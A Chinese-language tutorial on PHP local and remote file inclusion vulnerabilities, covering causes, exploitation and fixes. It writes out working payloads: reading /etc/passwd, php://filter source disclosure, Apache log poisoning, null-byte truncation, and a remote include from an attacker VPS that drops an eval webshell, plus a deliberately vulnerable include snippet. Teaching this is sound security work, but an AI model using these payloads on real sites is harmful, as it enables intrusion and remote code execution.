文件包含漏洞

@wintry大约 3 分钟

本地文件包含(LFI)

漏洞成因

文件包含漏洞的产生原因是 PHP 语言在通过引入文件时,引用的文件名,用户可控

传入的文件名校验不严,能操作预想之外的文件,可能导致意外的文件泄露甚至恶意的代码注入

当被包含的文件在服务器本地时,就形成的本地文件包含漏洞

利用条件

(1)include()等函数通过动态变量的方式引入包含文件

(2)用户能够控制该动态变量

一、读取敏感文件

?arg=/etc/passwd
?arg=C:\Windows\System32\drivers\etc\hosts

二、利用封装协议读源码

?arg=php://filter/read=convert.base64-encode/resource=config.php
#这样能看到 php文件的源码

三、包含图片Webshell

在上传的图片中写入恶意代码,然后用 LFI 包含调用,就会执行图片里的PHP代码

四、包含apache日志Getshell

利用条件

知道日志文件access.log的存放位置。

默认位置:/var/log/httpd/access.log

相关原理

access.log文件记录了客户端每次请求的相关信息;

当我们访问一个不存在的资源时access.log文件仍然会记录这条资源信息。

如果目标网站存在文件包含漏洞,但是没有可以包含的文件时,

我们就可以尝试访问

http://www.vuln.com/<?php phpinfo(); ?>

Apache会将这条信息记录在access.log文件中,这时如果我们访问access.log文件,就会触发文件包含漏洞。

理论上是这样的,但是实际上却是输入的代码被转义无法解析。

攻击者可以通过burpsuite进行抓包在http请求包里面将转义的代码改为正常的测试代码就可以绕过。

这时再查看Apache日志文件,显示的就是正常的测试代码。

这时访问:即可成功执行代码

http://www.vuln.com/index.php?arg=/var/log/httpd/access.log

五、截断包含

<?php
if(isset($_GET['arg']))
{
include($_GET['arg'].".php"); 
}else{
include(index.php);
}
?>

这样做一定程度上修复了漏洞, 上传图片一句话并访问:http://vuln.com/index.php?arg=1.jpg会出错。因为包含文件里面不存在1.jpg.php这个文件。

但是如果输入http://vuln.com/index.php?arg=1.jpg%00,就极有可能会绕过检测。

这种方法只适用于php.ini中magic_quotes_qpc=off并且PHP版本< 5.3.4的情况。

如果为on,%00会被转义,以至于无法截断。

远程文件包含

漏洞成因

服务器通过 PHP 的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严格,

从而可以去包含一个恶意文件,攻击者就可以远程构造一个特定的恶意文件达到攻击目的

利用条件

php.ini 中开启以下选项

allow_url_include on;
allow_url_fopen on;

远程包含Webshell

?arg=http://攻击者的VPS-IP/shell.txt
#会在网站目录生成名为 shell.php 的一句话木马

shell.txt内容为

<?php fputs(fopen('./shell.php','w'),'<?php @eval($_POST[1]) ?>'); ?>  

修复建议

1)禁止远程文件包含 allow_url_include=off

2)配置 open_basedir=指定目录,限制访问区域

3)过滤../等特殊符号

4)尽量不要使用动态变量调用文件,直接写要包含的文件